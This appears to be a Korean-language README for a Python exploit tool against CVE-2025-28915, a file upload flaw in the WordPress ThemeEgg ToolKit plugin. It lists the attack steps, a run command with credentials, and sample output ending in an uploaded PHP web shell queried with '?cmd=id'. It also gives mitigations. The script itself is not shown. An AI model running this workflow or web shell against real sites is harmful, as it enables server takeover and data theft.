CVE-2025-28915 - WordPress ThemeEgg ToolKit 임의 파일 업로드 익스플로잇

📌 설명

WordPress용 ThemeEgg ToolKit 플러그인(버전 ≤ 1.2.9)에서 무제한 파일 업로드 취약점이 발견되어 인증된 공격자가 서버에 웹 셸을 업로드할 수 있습니다. 이로 인해 원격 코드 실행(RCE), 전체 웹사이트 장악, 민감한 데이터 유출이 발생할 수 있습니다.

• CVE ID: CVE-2025-28915
• 심각도: 🔴 치명적 (CVSS: 9.1)
• 영향받는 버전: ThemeEgg ToolKit ≤ 1.2.9
• 공격 벡터: 인증 필요, 충분한 권한을 가진 WordPress 사용자 필요
• 영향: 전체 서버 장악, 코드 실행, 데이터 유출

🔥 익스플로잇 개요

이 스크립트는 CVE-2025-28915의 익스플로잇을 다음과 같이 자동화합니다:

1. 플러그인 버전 확인으로 취약점 여부 확인.
2. 제공된 자격 증명으로 WordPress에 로그인.
3. 인증에 필요한 보안 논스(nonce) 추출.
4. 취약한 엔드포인트를 통해 PHP 웹 셸 업로드.
5. 셸 URL 제공하여 사후 공격(post-exploitation) 수행.

🚀 사용법

필수 조건:

• Python 3.x
• requests, beautifulsoup4

설치:

pip install requests beautifulsoup4

명령 예시:

python CVE-2025-28915.py -u http://192.168.100.74:888/wordpress -un admin -p password123

인수:

🎯 익스플로잇 출력 예시

[+] 취약한 버전 감지됨: 1.2.9
[+] 로그인 성공.
[+] 보안 논스 발견: f82467a997
[*] 웹 셸 업로드 중...
[+] 웹 셸 업로드 성공!
[+] 예상 웹 셸 위치: http://target.com/wp-content/uploads/2025/03/shell.php
[*] 테스트 명령: http://target.com/wp-content/uploads/2025/03/shell.php?cmd=id

⚠️ 완화 조치

• ThemeEgg ToolKit을 패치된 버전(>1.2.9)으로 업그레이드.
• 필요한 파일 유형만 허용하도록 파일 업로드 제한.
• 승인되지 않은 파일 업로드를 차단하는 보안 플러그인 구현.
• 의심스러운 활동에 대한 로그 모니터링.

📜 법적 고지

이 스크립트는 교육 및 승인된 보안 테스트 목적으로만 사용해야 합니다. 무단 사용은 불법이며 비윤리적입니다. 저자는 오용에 대해 책임을 지지 않습니다.

제작: Khaled Alenazi (Nxploit)